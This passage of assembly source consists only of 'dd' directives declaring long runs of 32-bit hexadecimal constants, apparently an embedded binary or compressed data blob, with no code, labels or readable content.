673D0881h, 63F03000h, 665CA002h, 5DA87EFEh dd 89C6C826h, 1AA52C02h, 5ACC15E0h, 0F5EB0018h, 8AA66F5Ch dd 9E4A5663h, 9C1334A2h, 0C38449A8h, 0DE983090h, 0C0D868A9h dd 0D0730B3Dh, 95E02B79h, 1C877A09h, 13E404E4h, 0EF79D058h dd 3D437200h, 0D8A05618h, 2128649Dh, 0DA6FC05Eh, 230086C1h dd 4FBC08Ch, 95D79A3Fh, 0BAAEB882h, 6DD23CA0h, 6F2CA3AAh dd 7200B22Bh, 964EC3E9h, 0F98109C9h, 6078CB7Ah, 0E8A40CB9h dd 0E60AA70Bh, 5148427Ch, 69D9219Ch, 1D75E8A4h, 24B521EEh dd 52C90884h, 96C18705h, 0DF0334F1h, 2418F631h, 743845BAh dd 75001846h, 0A1676AB4h, 0D42E04C9h, 4D083043h, 8091E79h dd 0A280D1AFh, 0C9A78890h, 803C96A1h, 0DE6D2E5Fh, 360025C2h dd 613F9103h, 4DA8FE12h, 58BC8808h, 3190D013h, 184918A0h dd 984DD77Eh, 108056B9h, 382B5C39h, 226911h, 17E0DDC0h dd 268708A5h, 96A416C9h, 85D830ABh, 612E5DD1h, 15123C02h dd 6D580918h, 1C3A8844h, 3FDF980Eh, 49186BAAh, 1F24D48h dd 3F8792C1h, 6A85466h, 0E953A895h, 2DF04843h, 241388D3h dd 0CB1114ADh, 0CD8204D5h, 0AD87DA18h, 6B5EB7A0h, 86CC0133h dd 2D49CE69h, 9922CFBBh, 0ECC48143h, 0FB2CA80Ch, 360808CAh dd 4B5064CFh, 187C109Eh, 7A7803ACh, 945CEC7Bh, 55C0D0B3h dd 7D01DB3Ch, 3F9058E5h, 0A85256B4h, 44A8E621h, 1CB80B77h dd 8CE051D2h, 14125475h, 0F9BCB953h, 3D31811h, 12941F0Bh dd 26C1C5D8h, 5D0AF17Dh, 6C523F48h, 590BE86Fh, 0F4E41891h dd 7A568100h, 12959A63h, 9319501Eh, 3ABE0AC7h, 0E47447D2h dd 305E3254h, 9E12ED10h, 94CB1A81h, 0ED18CE02h, 22E0A2FAh dd 0B114664Bh, 10E0431Ah, 5BC8C90Ah, 41F4F8A5h, 1588880Bh dd 41746429h, 96C3EF12h, 896B245Ch, 0F7FFECC6h, 89D69709h dd 43F870C7h, 411D3A0Ah, 41493460h, 366020BAh, 1888DC41h dd 870941D1h, 417C5886h, 102A6A4Ah, 0A8125021h, 18818C88h dd 38E43EC9h, 0F1185BA7h, 977819EBh, 0D1A06458h, 18B440CAh dd 124D5D16h, 0A410B58Dh, 54403700h, 5A957B4Bh, 3D38CC90h dd 1F4FF210h, 0B1BA4D3Ch, 0A8433862h, 0EF08F4FAh, 802E1995h dd 0F2287DD3h, 0A8A5C768h, 130C888h, 15532516h, 0D7C89847h dd 810177F0h, 0E8A847C6h, 0FBCCB480h, 5C18A887h, 0A8B77429h dd 0C0215B41h, 0A5B93000h, 88AED4B1h, 2C04465Eh, 210B089Bh dd 86F8484Ah, 2050989Ah, 0E8994DADh, 0B8F21664h, 0E470D803h dd 0B2888074h, 271238BFh, 9300A88Ah, 0D7B31AF0h, 628943Fh dd 10E9F915h, 3C82134Fh, 3C8CDAA7h, 630130A8h, 0F29BF6A2h dd 829C3C9Eh, 47A0EEFBh, 601D44A4h, 0F438D8Bh, 0D98111F9h dd 3958B4B2h, 42849016h, 7F92D470h, 7DBCA011h, 1E460959h dd 0A85129F3h, 0CF185A79h, 61CCEF00h, 7BA74DEEh, 0A85150DDh dd 0A8A300E2h, 2B261C89h, 42485553h, 90628E74h, 8875B30Fh dd 0F0C41369h, 0CCF7D800h dd 38740EC4h, 5640150Dh, 0A811A444h, 0C8302DD1h, 0B36884h dd 0D4F2B8FCh, 5CAE4B7Dh, 2BB5800h, 7BFD1649h, 0F7212610h dd 398A050Ch, 0CC34C0D6h, 9A243D54h, 4B815403h, 0D180418Dh dd 35096C38h, 347083E6h, 0F7A2F910h, 7089A50Bh, 5BE41465h dd 0E15ADC60h, 0BEA18211h, 6C6BE400h, 97D679CCh, 2D207F12h dd 6FE0B4A6h, 621FA148h, 53DCC708h, 4C005712h, 3FE09249h dd 1287F0DBh, 0F9D096D1h, 7A051340h, 0C80B3004h, 0CB9846EFh dd 410059CDh, 0A33E66D4h, 1440BC9Eh, 88D6C4C2h, 0F78E4862h dd 9D69F828h, 80111140h, 0DF8D6A75h, 33B9B019h, 0CA60DC64h dd 0C74600A4h, 948AC181h, 4D4401DCh, 6827405Bh, 15923CCh dd 8199ED13h, 88151832h, 0ED001B33h, 2234DC6Fh, 14CFF635h dd 0F8CC07A3h, 14F83627h, 0B1DB2509h, 6708300Ah, 0C372797h dd 0C571105Ah, 9687FA24h, 37B70828h, 80EF1D34h, 0ECC38B6Eh dd 0A026322Ch, 0E1087C65h, 4726024Ah, 0C8A0D6CBh, 0F00AE8CFh dd 7E1B9600h, 9BF945C9h, 0A03A02EBh, 0B6C116ADh, 0A10CFCDCh dd 4F69C0h, 0B050879h, 0FE369928h, 5BC9A83Dh, 6A0C04C0h dd 0AE470E4Ah, 0A6806626h, 3A7E4CCCh, 0CBAAC105h, 0D8A85B64h dd 0A024612Dh, 0E020EBC4h, 2921D24h, 0A23F38BCh, 4707C55Fh dd 59DE2750h, 13B4043Dh, 0A5C98740h, 0D40B2ED0h, 0E32001B3h dd 3C62C694h, 47F82673h, 131F1321h, 0C8C48B08h, 44CCC0DDh dd 85007B7Ch, 59A5AB77h, 9F759DF7h, 4C106080h, 7B08AC25h dd 0BD87C9FCh, 1CD4F0CBh, 57ECF724h, 0C23D0A3Ch, 0D1118470h dd 4C86C90Ah, 0F7843918h, 817B7277h, 70D13F08h, 2B43AD48h dd 0C890E222h, 9EE2620h, 48457BADh, 65452464h, 0C0908802h dd 8042A548h, 0E13C185h, 34CE03F4h, 0C2CF1988h, 5C01D0FDh dd 651024h, 93160EAEh, 1463EC1Dh, 0B8D6CCA1h, 95BB3C0Fh dd 0C0272EE0h, 2602974Bh, 0F550B445h, 4F38509Dh, 10F218h dd 36DC2773h, 0A99038h, 0D92C306h, 7710ADB3h, 9739718h dd 1A90A270h, 605B8498h, 573994C0h, 42FFB083h, 2FB64F81h dd 5123D4h, 0FB2F7FAAh, 8601666Ch, 46487CC7h, 8022A8E8h dd 7A83AA00h, 9D1B6ED0h, 2D2C9009h, 0D8901897h, 75EE0362h dd 464E6CDFh, 0D7132671h, 0C43A3120h, 4C00DB23h, 0C5A92F61h dd 39CE0B74h, 2002515Bh, 0ECDAE816h, 0F8BE0920h, 0D3922CF1h dd 9D16BE2Ch, 1F00F676h, 0F50CAB18h, 2ED61845h, 19BCD4BFh dd 0E4F8216Eh, 4D24F548h, 61643C15h, 0B9C20B45h, 474A7C44h dd 5A8B9030h, 349C0B87h, 0DCA2B553h, 0F098B186h, 98245AB9h dd 0E1071176h, 798B1D63h, 7C4DA51Ch, 9DE5AFC0h, 8C28400Dh dd 0E312B4B8h, 24F25BEDh, 1B30D1F2h, 9D7670FAh, 231F9CE4h dd 833A6FECh, 97E55F9Bh, 812180DEh, 935100E3h, 0FD014805h dd 2C16D79Ch, 38041FA8h, 1302E9F6h, 0EC506573h, 2F85A214h dd 13422B8h, 2B8BF62Ch, 50C7BA9Dh, 0A05771ACh, 58871896h dd 0A100586h, 137B2Dh, 0A0164E39h, 91848825h, 875D5002h dd 0D4F746F9h, 174676F4h, 8A8E1A39h, 0A3E07666h, 484D5FE2h dd 0AE12DDEAh, 28F19002h, 99E91CF0h, 6E4A3CB0h, 11A6009Ch dd 0C39AE03Fh, 1B97275Dh, 8F9DA4C0h, 404AE4Bh, 47042862h dd 1640F997h, 10F0B845h, 6F408A30h, 48A4808Fh, 4656ACBEh dd 0E1540018h, 79128DBh, 44240B86h, 44734548h, 4F835D0h dd 6D8B44CAh, 0BDC4810Fh, 41E00652h, 54D03E13h, 0D40ADB9h dd 96B0430Fh, 88844EC9h, 0BD2BC0DEh, 7E053555h, 9443D099h dd 4F47D421h, 13BF18F0h, 0FCD45F3Bh, 20D28FB0h, 7C99A566h dd 0A83700DDh, 85E206FAh, 4F1633F1h, 0E80046D7h, 3F08BC56h dd 49AB04BBh, 0F4ED5F4Dh, 2652FA54h, 0A940218h, 76C9B37Ah dd 0DD465E58h, 0BDA45500h, 4A2BD0A5h, 73A6A309h, 6858AC39h dd 44844E0Ah, 54EC598h, 0B8BC9DA1h, 0D2DDC60Ch, 10BA3F7Eh dd 0C0882F4Ah, 2AED2743h, 0C9200864h, 69D4BE57h, 5C00CC71h dd 0C425BCD0h, 0EE417C92h, 0C4BD9D06h, 0C9C35C00h, 9688AA4h dd 96C5C67Bh, 0B22E0807h, 407EFD8Dh, 4F467Ch, 30FCE229h dd 1E8EB4C6h, 0B7CC0B86h, 197B61D1h, 5F046775h, 0E0029020h dd 3B010237h, 1865854Fh, 740C9109h, 0B0E5C610h, 56D9660Bh dd 0B0D8F2E3h, 9F83F638h, 0EC0E740Bh, 3BC70A71h, 0CC0CACC5h dd 24FA203Ah, 25B0674Bh, 0A7E8989Bh, 3D3CB07Bh, 0D1670B58h dd 31E440CEh, 8B900121h, 51F54B96h, 4358816Ah, 0B5A11DF1h dd 30B69854h, 9A3F6EE0h, 0FC03034Fh, 7FBD85C9h, 0ECAD5221h dd 93FB127Ch, 0AFD04FB0h, 4D2E20BDh, 9132F095h, 81C076B0h dd 0DC0D737Dh, 0FE5420FCh, 11AB8140h, 1446CD5Bh, 0E85C2ED9h dd 0AB3B8C4Eh, 0BB9512F2h, 130040F2h, 3BCE3EA6h, 0E00AA8Eh dd 27EEFFDEh, 5287C9FAh, 0C780F8C0h, 973C682Bh, 0BE100497h dd 22C0E257h, 0A0F4A0D5h, 21D040A2h, 78D2504Eh, 0DA5CC0E0h dd 380F6F1Eh, 3DFF2290h, 16ADFDEFh, 6F73E472h, 0DCF3F0B1h dd 0BB684A60h, 8808A65Ah, 0D4002867h, 8220A4D9h, 0BF7F2940h dd 5A11749Fh, 0CCC82D8Ch, 9488C988h, 0AB3ABED0h, 10471967h dd 1876648Ah, 701BE0C4h, 99D4F01h, 0ACF8BA1Fh, 0A6E877h dd 18A1511Ch, 13D5A826h, 91109D9Dh, 2A388052h, 101271Ch dd 0B768AE8Ah, 20F5CDC6h, 8D5C8E3Ch, 0CEDE8804h, 0AB0F4FC1h dd 88161894h, 4F0F966Eh, 0E00D2EBAh, 0F7C135B1h, 979B01E0h dd 2FD2403Eh, 0D03E7B62h, 28050423h, 28802630h, 0B520C2B3h dd 8189464h, 0ED82E8C4h, 95E5134Eh, 2504E069h, 0A0E45979h dd 0BFA980F1h, 3CD0C0D8h, 0E1850119h, 0F7D725A3h, 8289C09Bh dd 610B7FEEh, 45D88439h, 6715E47Ch, 0B2BAEAF0h, 3C6B0191h dd 3FC46356h, 0B0D13F92h, 8C287B45h, 811D6622h, 0BC28EAD1h dd 0BC96408h, 792140C1h, 0E6009859h, 0FFB6187Dh, 22C33CFh dd 3D9117F5h, 874A792h, 0AE4B2F00h, 27873931h, 5817549Ch dd 1E80D191h, 0AB3C8ACBh, 80957B2Dh, 0DB3FC370h, 0C185099Dh dd 9851E41Ah, 0C71818D9h, 0AA50AB00h, 24024264h, 40C64FCBh dd 0E845BF0h, 6E003FECh, 5D9FBCDAh, 59733171h, 1C56D421h dd 5616FF2h, 0FCC4D6BAh, 776F520h, 67B2C985h, 8144C502h dd 5FC314h, 5010A2C1h, 180AC2Bh, 94AD50FCh, 0F8638367h dd 6C00FD60h, 0A7AE3D8Fh, 0DF231C73h, 0A9338051h, 9054C03h dd 80EABF0Bh, 609C1A0Fh, 0B32B48Ch, 17DFF2C7h, 5862C0CAh dd 87027C51h, 0D28B92F9h, 0E635208Ch, 0A296BB1Eh, 2007993Fh dd 51E0EC11h, 83098145h, 5AE98769h, 2BF14CCCh, 0E1595C30h dd 7D80E2A2h, 414E2C08h, 73E98948h, 4676D85Ch, 949F005Bh dd 0F18FCD12h, 66C8BCA6h, 0EF062956h, 139B45ACh, 4F6D20E8h dd 0D43F1207h, 0F261594Dh, 787D6B23h, 0C61DC908h, 697B1302h dd 0E2600C61h, 0B888C74Bh, 5C178AB3h, 0C874E11h, 0E0801EDEh dd 70879F47h, 2E44E4BEh, 4484C31h, 17F2F0F2h, 7DDE4E30h dd 6A153BD9h, 52F2C8Ch, 56037221h, 1EE99842h, 124AA3FFh dd 4096C7Eh, 56C53810h, 9EA34B1h, 880750F9h, 6380CE8Fh dd 183A376h, 0D0CAEC08h, 30C5AE22h, 670A67Ah, 318D4B05h dd 80D2D2F4h, 0BF304C1Eh, 1C912097h, 0BAB91A80h, 21180FE2h dd 0BD10747h, 14B9CCh, 0C99923F5h, 6B097E09h, 81985215h dd 1D5B13E0h, 0E398122Bh, 0A1B30018h, 394E9386h, 701F5C60h dd 7B8C4DBCh, 0FA1D00BAh dd 0D0F8F48Fh, 0B82F8990h, 4B4CC401h, 4BA8081Ah, 0CCF92800h dd 95A05539h, 9EE0C4AEh, 71025DACh, 0B7336601h, 24750D44h dd 0B289FCh, 0BEB64260h, 554F493h, 6E775B01h, 10C3AA43h dd 3090A201h, 66B5C8A4h, 7D4A0FB0h, 43E2DCE0h, 50F16FCAh dd 991815D9h, 1F6C5B13h, 3B259E01h, 97C9545Fh, 706866EDh dd 5834A440h, 4E86018h, 0B101028Ch, 39430B26h, 5026B07Eh dd 6DE2A08h, 700FADB3h, 0F0E9320h, 0A75DBAAEh, 56B48453h dd 0B05CA6E0h, 13348FF6h, 2044C173h, 9D39C310h, 7C1C2BBFh dd 1E9040E0h, 0B324A386h, 86C968B9h, 2741455Ch, 3849A04Fh dd 515BD05Dh, 0EB91E800h, 0B5B985D4h, 93FA103Fh, 0CECD2810h dd 27E7B025h, 3269560h, 6A8C4178h, 0F9DC6420h, 5A7A0E2Eh dd 79E0CA83h, 502BFDC6h, 9469170Fh, 813B00E7h, 978B8AC9h dd 0E04E146Fh, 0AE554043h, 540F0529h, 0BC41FCC7h, 88B480D0h dd 385B5D6Eh, 0CA80F647h, 0F3EE7BCEh, 77FE95D5h, 46EEC9FCh dd 554431DCh, 6CD2B845h, 87D0A191h, 79BCFB96h, 0C7B54E04h dd 863CD23Bh, 5F0F8071h, 89C689C2h, 814056D0h, 0D2FD1D93h dd 8097F66h, 54B0C273h, 0E17F4054h, 0D60034C8h, 3336A9E0h dd 451995Eh, 0B61D70Eh, 0ECC4ECCFh, 0FEE08C16h, 66BE7B00h dd 94908724h, 587A4Eh, 11A84429h, 9FA7E83Fh, 0D0EDC500h dd 7664DEE7h, 458725C6h, 1F117017h, 81EEEA84h, 42B090Ch dd 0CB2C23BBh, 0E14C91Ch, 0BB226600h, 1290D250h, 0C2AAA10Ah dd 38413DDCh, 9800102h, 23C83E2Fh, 0AE1C3A1Ch, 0B59B813Fh dd 3CE549B3h, 7E4AC170h, 0F5C5C6C2h, 0E4B769AFh, 61CD4E07h dd 0CC8A8B40h, 47FA0073h, 0E4AAEAA6h, 891C767h, 4A84AF15h dd 15231C2Fh, 51D4003Bh, 7A19CAB9h, 0E4C619BBh, 0D212D082h dd 15C454C7h, 0AF353360h, 64F50602h, 0DA9E9B29h, 2D4D008Ch dd 0CE79F656h, 0A00FEB4h, 33C28070h, 2E26DC4h, 0D18762B8h dd 5605D77Eh, 7FA5FC04h, 40AB9D04h, 1A152593h, 3479F02Fh dd 0F4310ED9h, 0DB44AFCCh, 0BD9513CDh, 776C9111h, 0E1C70333h dd 59912DA1h, 73AB0957h, 2EE07A99h, 9782FAEh, 0FC6F1401h dd 0DDD4D340h, 3FAA07C9h, 429682C2h, 0DC688392h, 0CCB6E32Fh dd 876E00F6h, 4F475C9Bh, 4D031EA7h, 7BF52C01h, 0B306F8A5h dd 4C5648A0h, 256D7101h, 925F815Bh, 188273E1h, 0FC38F73Ch dd 0E2009197h, 0EEDB74EDh, 862193h, 0AC9F2243h, 0C963A06Fh dd 0F75EDCB6h, 2007418h, 423E87A4h, 0EC20F1BEh, 965ED9h dd 7377F5BCh, 170418C4h, 93F24041h, 81C400AAh, 3D6C58F6h dd 919DCA16h, 0CC2F54ECh, 0E6D7F820h, 5D03A20Eh, 0A1198394h dd 403CA84Fh, 2489041Fh, 0AC0A5671h, 13571374h, 2149C801h dd 76DA5943h, 1D46769Ch, 45970802h, 0AC5413A7h, 0E0D3720Bh dd 0FA939028h, 0D1071398h, 55D8C08Eh, 79CA4932h, 467EFCDAh dd 5DBB0503h, 98925B3Eh, 93800F63h, 0DCD31F36h, 94D7C226h dd 4084006Bh, 0BC9EC6DAh, 0DD467C58h, 285B9D00h, 0ABA683E5h dd 43A55509h, 0B1D0D0F5h, 1918D17Ch, 0B631C0DFh, 80B85AA9h dd 0F8A6BB9Ch, 577CE1A0h, 0D195CF0Bh, 21285A04h, 0C90C17AFh dd 12A5E1DCh, 5844A112h, 0BC7C9A64h, 0AD290500h, 42776BB7h dd 5D4F0B39h, 1C6BA158h, 2C206400h, 18ECBB99h, 2F433C88h dd 0BD80A1E0h, 5C03B4AFh, 0F992FC4Ch, 5019F062h, 0A284056Ch dd 0A2AA439Fh, 381213Ch, 51F9767h, 88A84Ch, 0C2A97EEFh dd 6B7FAA3Dh, 0AA091807h, 0A4CF485Ch, 84979ED9h, 976F1E10h dd 64470795h, 0D58EFD6Ah, 8868CE5Ah, 0EC30C01Fh, 0FF5CAF48h dd 496527F4h, 0E5CDD1C0h, 0A844DC6Fh, 0D3C94B60h, 775BD7C6h dd 49AA40E6h, 0E0B72C79h, 41199D7Ch, 0CCD8A130h, 8E86A201h dd 14694724h, 0B2C16109h, 5C02E478h, 0F2C2564Dh, 98B45934h dd 53ABB16Dh, 0BC03C95Bh, 0F666F9BBh, 79210538h, 139FAE57h dd 0C8B48B34h, 57E2C1D2h, 0CC893A2Dh, 1201C20h, 2C19C407h dd 2AC17EF8h, 6A8D6842h, 0E5C50013h, 6F0998B8h, 0BF54579h dd 49AC79FBh, 2DF6424h, 68F17331h, 2FF981B4h, 147BC156h dd 46740C2Ch, 7E6200DEh, 0E3FD8E7Dh, 0B5F000C6h, 0A6564537h dd 0CC9CA13Fh, 839F4782h, 96B4FE72h, 2B04B17Dh, 544CB06Eh dd 0C180D63Ah, 4B727F46h, 2A22B47Dh, 0A53B001Fh, 0EAEE08C9h dd 9B0F6652h, 0A0C5015Dh, 7579F51Fh, 0F7FD12E4h, 48F99Dh dd 0CB1E9425h, 538FFFB3h, 0DBE2E80Ah, 66930h, 574F3E5h dd 4BFFD212h, 810B897Ch, 4E7D0F63h, 71F09164h, 0BC181Ch dd 75B032A6h, 0B2FB43DFh, 440A14Bh, 4EB78116h, 0FDCC0E13h dd 7760A2DDh, 6BDC4C40h, 0CB514504h, 710009F3h, 5B0B13BEh dd 0AC9E7978h, 74E4D289h, 41314418h, 0B1ABE8C6h, 6774C82Ah dd 0A99DCD08h, 0FC1E002Bh, 0A6186D12h, 58C02EEDh, 4439B38h dd 2D9D4D5Eh, 3422EB1Bh, 12F0368h, 1CF6D900h, 84E7BA6Dh dd 65C2F97h, 88B2D859h, 0F1432247h, 6096C861h, 669742A0h dd 0F497BDACh, 6303C6BDh, 0D36F6435h, 4A390988h, 1896A38h dd 7CAFB6FAh, 9023C8FCh, 1B30DFF2h, 2D8A0202h, 0A889C921h dd 399311E0h, 0D46AACB6h, 9CF6208h, 40840825h, 283EAF53h dd 43D1F23h, 18DEF7Fh, 59684AABh, 2EE108C4h, 0CC000E16h dd 8510E387h, 9A3F0A29h, 91CC1C2Fh, 58FF1254h, 0C5125860h dd 0A5FE28D0h, 0F0BB16D0h, 7DD8A05Ch, 12D62740h, 13E09E43h dd 0F1F4B04Bh, 1C055278h, 1A8B7BA7h, 4DC090B4h, 7C0040BDh dd 0F0BFC76Fh, 2900754Bh, 6B064818h, 4D14B8B3h, 0C0C3705Ch dd 229187C1h, 7D4096D9h, 26C9ACDCh, 0AD3CDEF4h, 1C86B03Ch dd 0D101B325h, 2404BB60h, 0EA7BADBDh, 390EE040h, 4BFD4D22h dd 19BCF1D1h, 6060F984h, 0B534F24h, 74435A38h, 9CFEC985h dd 4318C8D2h, 0FC40C5B8h, 3F6BB32Eh, 0C93278Ah, 7C827072h dd 0B302F8FEh, 7DC8D6C9h, 73A5D898h, 0BA01E92Dh, 3AEC46ECh dd 7F4C0C06h, 63C22042h, 0F92142DDh, 0C107D22Ah, 856C856Bh dd 0ED867F18h, 9AC72CC2h, 2040DE70h, 3A102870h, 699D2784h dd 0FA3FFC40h, 5A85B54h, 0C6D1870Dh, 6C4E60D6h, 0C0C01688h dd 127D7C2Bh, 5DFB80h, 67F6CD30h, 1C9E4598h, 920465Ch dd 724224EDh, 93870324h, 7AB95306h, 3FDDD000h, 18C397C7h dd 354D005Ah, 0A7087DBEh, 81005448h, 0B3147390h, 0D3EB77B1h dd 7FCD0021h, 90D1A598h, 0E63A03Eh, 824404C0h, 76F5124Eh dd 0F2D8064h, 8F8ACDBBh, 0B13CB478h, 0D8FEFBB8h, 806C0B3Eh dd 4DDB3C50h, 2561349h, 0EDFDD199h, 375F10C4h, 2B970034h dd 0CB449EA1h, 4A9AB501h, 1D4B2EE7h, 4860064h, 9550B4B6h dd 5D3C9079h, 0A092FB9Fh, 8586A705h, 20936BC6h, 81ABC4A8h dd 0D032877Ch, 0F800BCF0h, 0C724E93h, 2033C1ACh, 46052DEFh dd 0C90B162Eh, 0FA60CE4h, 0DE5832D2h, 0EFA88F45h, 1048540Ch dd 0B949608Dh, 1E821940h, 4524980Ah, 48A8D426h, 89282D56h dd 28702860h, 62082078h, 0D43580Eh, 6A5C8621h, 3A522D70h dd 0BE16C6D4h, 4EE8D0AFh, 1E150C02h, 0A0401F16h, 9DBE50D5h dd 91005044h, 0C1A6AE67h, 182C3EDBh, 9148F781h, 3C12A39Dh dd 0D834B3BBh, 2A7A3C6Eh, 16A4948Eh, 967DED5Fh, 7F44302Ch dd 4434A5FBh, 1C002FFDh, 0B96731A5h, 0DA18643Dh, 0B3182B9Dh dd 0B007006Ch, 32C2A6BEh, 7F51CB3Fh, 23BC1E48h, 0C80B61EBh dd 77619DD1h, 520359Ah dd 0A84F68F8h, 21391971h, 61940AF9h, 0B62154C9h, 13AFF08h dd 433B40ADh, 9EC62A9h, 474945h, 245FA3F8h, 4D47B35h, 0B3BA5DCBh dd 0C0709431h, 2E9D503Ch, 0C70498BDh, 87C60ADEh, 6520599Eh dd 2FBC20F5h, 3112B422h, 9C576739h, 29DC1CC0h, 882B5C88h dd 2085D35h, 0EE07C10h, 0D09895D7h, 2CB650A7h, 1808E239h dd 2D41027Ah, 62A0A02h, 0EA1F1959h, 0BA0C1DCFh, 407408D2h dd 0CD4056F1h, 96D94032h, 64304B62h, 0D01702EBh, 18416003h dd 8053718h, 0F5810FA3h, 322F2188h, 0BA20D608h, 728C18E2h dd 34A9E02h, 831343Dh, 1C8DA95Ch, 17E5701h, 88826A1h, 0D708708Ah dd 0EE850C65h, 30A34F50h, 6DF62110h, 8014518h, 28C4E25Ah dd 8604586Ah, 17560413h, 1C60E904h, 0E40806D8h, 8CC8812Eh dd 821E141h, 0BA3D408Eh, 0DC5AB0A8h, 91A258CCh, 31576CFAh dd 0ACA89681h, 10CC558Fh, 0C64BB110h, 19402C09h, 320C385Dh dd 271E95Bh, 9306452Fh, 909655D9h, 8959521h, 0B18A4B3h dd 0F86F50D1h, 0C8AA08C4h, 23614E0Ch, 3365B1C6h, 0C6303108h dd 154C220h, 1088CA44h, 8B0C1669h, 0A82B080Ah, 811F2A8Ch dd 0D5C995BCh, 61ED19ECh, 710177B9h, 814898E1h, 0C4EFB921h dd 6149E10h, 5408633Bh, 4033E890h, 9CA8B469h, 0DD814EC6h dd 356C998Ch, 7F40E608h, 6721C45Eh, 47860411h, 68F76206h dd 32647A20h, 0D7B9366Fh, 108E684Bh, 8420131h, 540231AEh dd 271DACA2h, 3189702h, 3824EDA3h, 6288881Ah, 5E440CC2h dd 2E649120h, 9C93E9A9h, 32101830h, 24D2081Ah, 80665F80h dd 8F804A76h, 73EC8058h, 118D3E81h, 98E92319h, 5049F0C1h dd 24AC8122h, 0B4A8E424h, 5081DF05h, 7E8932D7h, 8D034959h dd 332032C3h, 2848BDD1h, 95803A52h, 2520CCE5h, 3C62B461h dd 6787208h, 0E435D193h, 3044C95Dh, 0BB04EBD6h, 60C604F4h dd 4535804h, 0C5043EDFh, 0E1730CE6h, 0A1756492h, 91FB0C33h dd 601F4074h, 14080D63h, 803810DEh, 71CD3232h, 0D1CC494Eh dd 79B49051h, 5C036812h, 0C3082A3Bh, 8052FE88h, 24812CE1h dd 38BCE051h, 1447F01h, 0B401E3CCh, 299EF95Bh, 47510FBCh dd 419309ABh, 0B3E1EC94h, 0F0D3B2F0h, 69796Fh, 0D5C5483Dh dd 7F080B81h, 0A7C434FBh, 84134900h, 0CD6B068Bh, 393C1241h dd 781DEA4Dh, 0D6425A0Eh, 9880B835h, 0F9C923h, 0A3B36403h dd 0FEFCC6E2h, 7C4F20C0h, 0B1C4F16Ah, 0D6700C50h, 0EF77DFA8h dd 2A93B1C0h, 512153Ch, 0AE940990h, 87080002h, 0B4451052h dd 0F4A94A00h, 0E40F3F54h, 0EBE3020Bh, 0F09D9C97h, 0ECABDCC8h dd 26305478h, 0A30F5889h, 5FB81C06h, 4C0652Fh, 47FC5A87h dd 942250D6h, 507651h, 0CB7405ADh, 0DC74E417h, 0A1181F74h dd 0C528969Ah, 9264A1EFh, 0DB3F3h, 9E4DF318h, 2F6106D9h dd 5869B630h, 0F05E2CECh, 106B603Ch, 0C4104A8Fh, 0F0C5D714h dd 0F8981424h, 0ED450D44h, 9000802Fh, 0ECC5D8h, 7CFCCCEh dd 0B9E24B47h, 0D3F3Eh, 0A1735FC4h, 6EF0B07Bh, 5AE64077h dd 951D4889h, 0A4808AC9h, 300A8E32h, 0DA3731ABh, 0CCCA5B50h dd 33302AB2h, 2F899962h, 6A6C14F5h, 7705A063h, 87E408h dd 64B947F8h, 7F721EB6h, 0B8E5F032h, 15C480ABh, 787A5Ah dd 81935947h, 0A18752B5h, 88C0F277h, 5BAA28EDh, 7B5F0026h dd 0FEA809E2h, 69008189h, 93311CF9h, 3FB27703h, 9D82461Fh dd 0E0D62F52h, 8EDC8087h, 0B6A45057h, 3076FC42h, 3D601131h dd 0DE0F9BC1h, 0C0A2649Dh, 0C394A46h, 2F98176Ah, 0DA8440F1h dd 0A1A0D345h, 3809CE30h, 138EF517h, 4D1352h, 0A435F335h dd 0CB17332Bh, 4F127B0h, 97585C40h, 2D0A6F1h, 9DE09FECh dd 8484878Bh, 80B30531h, 124A9809h, 0E0A56254h, 60FB2F40h dd 0A768D0C2h, 0E62C0593h, 40362D9Dh, 4A1200D9h, 0CB6A044Dh dd 38C0CE25h, 809DB931h, 0E891E8h, 74173A3h, 320C3DD0h dd 58C3B82Fh, 248CB8F8h, 2CCBEDh, 5647CFFBh, 0FEFD4FEFh dd 69A00880h, 0DC00A88Eh, 23AB1954h, 2BBEDD9h, 0CB2968A9h dd 26DF3F67h, 24C8425Ch, 85A84AACh, 1EA5CF1Eh, 0BE412B0h dd 34583FB0h, 0A1945F05h, 9009103Ah, 29E818F4h, 344E00CAh dd 44BB0996h, 22008480h, 0AE6CAAC2h, 231210h, 0CABAF849h dd 8AF3540Bh, 0D94B0A00h, 2995CD7Dh, 0E945043Fh, 0D472EF2Fh dd 83048734h, 101E25D2h, 0D4A4CBD5h, 0A4539D06h, 0F05883A0h dd 1877609Bh, 0D88E5ECBh, 6A12644Dh, 0EAB004ADh, 5BA8C1F7h dd 0F548BE47h, 50E1E3D8h, 80043557h, 22AB1C28h, 92839EA1h dd 40774838h, 3841D10h, 3E2FCB45h, 0A390095Eh, 18006D90h dd 198946A7h, 0B7C6C502h, 4142516Ah, 289F3A6Ch, 553C0012h dd 71739D6Bh, 3D0B70C3h, 64C7E2DBh, 0B04F610Ch, 0F890BBF2h dd 0BF7BF7F9h, 0D7200B01h, 30A7CB1Ch, 0C5AD2985h, 451C00EAh dd 0ECA9494Dh, 99019891h, 8F57CB06h, 0BD472080h, 77FF6C4Dh dd 0DD6F38C1h, 0A5F019B0h, 8CBF30B1h, 7959C650h, 2F2CAC1Fh dd 8908C025h, 48F0A487h, 121F24A9h, 0B068AF93h, 0F2001CD9h dd 2F6CC6Dh, 1F7C37Fh, 0B5091664h, 5075CCBh, 12943014h dd 4CA0EEB0h, 34C89881h, 740D694h, 0F2BEC764h, 30832C93h dd 79F27281h, 8901585Ah, 2EC9A388h, 73F5CB24h, 14809C02h dd 0A438203Ch, 2E20D890h, 0FCAB2495h, 4642036h, 15DB4013h dd 0FAECCCFBh, 600B2C01h, 8039C56Dh, 3F7CA0C4h, 1380C0C7h dd 16946510h, 0D241DB6h, 7503E07Dh, 1E7FE430h, 56A19CD8h dd 0C6480032h, 3EE037EEh, 4E50EB03h, 0FACCA50Dh, 9024C0C7h dd 48343E88h, 0E5306A00h, 0EAFF1512h, 0C69E1005h, 0F052F327h dd 0DA60CC0Ah, 26593C3Ah, 0F821E493h, 8C19B396h, 0DB4012D8h dd 0D7B57h, 2E8B8FEDh, 0D3489307h, 2F0F2124h, 0FC0E3912h dd 4AE4C755h, 6C5137E0h, 9590107h, 472F5683h, 49B0403Bh dd 0E4F02DA7h, 0A3B82C54h, 7F008FFEh, 36319376h, 0F8CE390Eh dd 1C6E01BBh, 3D2ED734h, 2FC04087h, 38C015B1h, 0F79DFE79h dd 0C3783046h, 98FB1D08h, 8802C8AAh, 0AC4120BBh, 0F900EEA6h dd 63422F97h, 0B3B9791Bh, 0CB7EC2F0h, 0F8374E30h, 12A88196h dd 347406AEh, 7DEC2108h, 20CC42D4h, 